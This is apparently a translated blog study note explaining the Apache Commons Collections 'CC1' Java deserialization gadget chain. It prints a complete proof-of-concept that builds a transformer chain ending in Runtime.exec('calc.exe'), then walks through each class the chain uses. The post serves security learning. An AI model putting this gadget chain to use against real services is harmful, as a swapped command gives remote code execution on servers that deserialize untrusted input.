Java Security Research - CC Chain of Deserialization Vulnerabilities

0x01 Preface

 The deserialization vulnerability under the apache commons-collections component, since the vulnerability of this component was exposed, many security researchers have successively discovered the vulnerabilities of various components of java, causing serious harm . I am also a beginner in Java auditing, and my skills are weak, so I will make a learning summary of the cc chain here. If there are any mistakes, please point them out.

If there is any infringement in this article, please send a private message immediately, and it will be fully corrected.

0x02 vulnerability environment

JDK1.8

Apache Commons Collections version 3.2

0x03 deserialization vulnerability

Serialization is the process of converting the state information of an object into a form that can be stored or transmitted. In layman's terms, it is to convert an object into another form to facilitate cross-platform storage and network transmission.

Deserialization is the reverse operation of the above process.

Any object in Java must implement the Serializable interface to perform serialization and deserialization operations.

The cause of the deserialization vulnerability: Java objects are transmitted as serialized data during the data transmission process. When the deserialization operation is performed when the Java object is transmitted to the server, the readObject() method of the deserialized object will be called . If the class rewrites the readObject() method, there are some dangerous operations, and it will start to execute.

0x04 Research and reproduction of CC chain

Before analyzing, take a look at the payload of the boss, and then analyze it step by step

package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class App implements Serializable {
    
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map数据结构,转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射机制调用AnnotationInvocationHandler类的构造函数
        //forName 获得类名对应的Class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射调用私有的的结构:私有方法、属性、构造器
        //指定构造器
        
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制,保证构造器可访问
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例
        //调用此构造器运行时类的对象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

1) Tranformer interface

Through the study of the big brother's article, the loopholes mainly use three classes: ChainedTransformer, ConstantTransformer, and InvokerTransformer. These three classes are classes that implement the Transformer interface, which includes a transform method, so that each class that implements the interface can perform fixed type conversion.

package org.apache.commons.collections;
public interface Transformer {

  
    public Object transform(Object input);

}

The transform method of the ConstantTransformer class

The transform method in this class: accepts an object and returns a constant, and returns iConstant no matter what object is received.

 The transform method in the InvokerTransformer class

The transform method in this class: receives an object, obtains the runtime class and method of the object through the reflection mechanism of Java, and makes a reflection call. Among them, method values, parameters, etc. are all controllable.

 The transform method in the ChainedTransformer class

The transform method in this class: When an array is passed in, it starts to read in a loop, calls the transform method for each parameter, and uses the return value of the transform method of the previous object as the transform method of the next object call with parameter values.

 So far, we have analyzed the core utilization chain of the payload first

a) This is a constructed Transformer array containing three objects of the above-mentioned classes

b) New is an object of the ChainedTransformer class, and the transformer array is passed in. Link the classes in the array together through ChainedTransformer to form a call chain.

c) At this time, it can be executed by directly calling the transform method of transformerChain. Briefly talk about the process:

        First get Runtime.class, and then get Runtime.getRuntime( ) through reflection call, and the execution has not started at this time, then wake up Runtime.getRuntime( ) to execute through the invoke method, get the Runtime instance object, and finally get the Runtime instance exec method, and execute calc.exe.

        Note: For details, please refer to the article Java Deserialization Vulnerability Analysis-FreeBuf Network Security Industry Portal

2) TransformedMap class

In 1), the chained execution of the transform method in different classes that implement the Transformer interface is explained. This is just that we manually write code for execution. And how to use the cc chain? Judging from the execution result of the core chain in 1), it is to find where the transform method in the ChainedTransformer class is called, and then continue to search for the upper-layer call, and finally find the readObject method.

a) The transform method is called in checkSetValue in the TransformedMap class

Take a look at his constructor

Receive a Map and assign keyTransformer and valueTransformer, but the construction method is protected type.

b) Search upwards, find the decorate method, and return a customizable TransformedMap class

3)AbstractInputCheckedMapDecorator类

The setValue method of the static internal class MapEntry calls the checkSetValue method in 2), and the TransformedMap class is a subclass of the AbstractInputCheckedMapDecorator class, and then looks for its parent class

There is one point: TransformedMap class inherits from -->AbstractInputCheckedMapDecorator.MapEntry class inherits from -->AbstractMapEntryDecorator class implements -->Map.Entry interface, so we can use Map to execute code.

That is, in the payload

 4)AnnotationInvocationHandler类

Here you need to import the source code of the sun package, which is convenient for debugging. The big guys should know how to import it, so I won’t write it

Source code download address: jdk8u/jdk8u/jdk: af660750b2f4

Continue to look for the calling function of the upper layer, to find out which method calls the setValue method, the readObject method in the AnnotationInvocationHandler class calls the setValue method, and finally find the readObject method, which is exactly what we want.

Look at the code of the readObject method and find the setValue method.

 Take a look at the constructor. We can control this Map and use the map we constructed above.

5) Serialization and deserialization

The last part of the payload is very simple. Get the object of the AnnotationInvocationHandler class and pass in the transformedMap we constructed. After deserialization, it will cause a deserialization vulnerability. 

0x05 Conclusion

I started to study Java security. For about a week, I frantically supplemented various Java foundations and development foundations. I just made a study note, which I can read in the future.

It took three days, referring to the articles of various bigwigs, and finally understood the CC chain. This article also briefly analyzes the process of the CC chain, which is relatively simple, and there are still deficiencies, and many details still need to be learned.

 

 Reference link:

Introduction to Java Security (2) - CC Chain 1 Analysis + Detailed Explanation - ErYao7's Blog - CSDN Blog

Java Deserialization Vulnerability Analysis- FreeBuf Network Security Industry Portal

 

    

        

Guess you like

Origin blog.csdn.net/weixin_43889136/article/details/124135578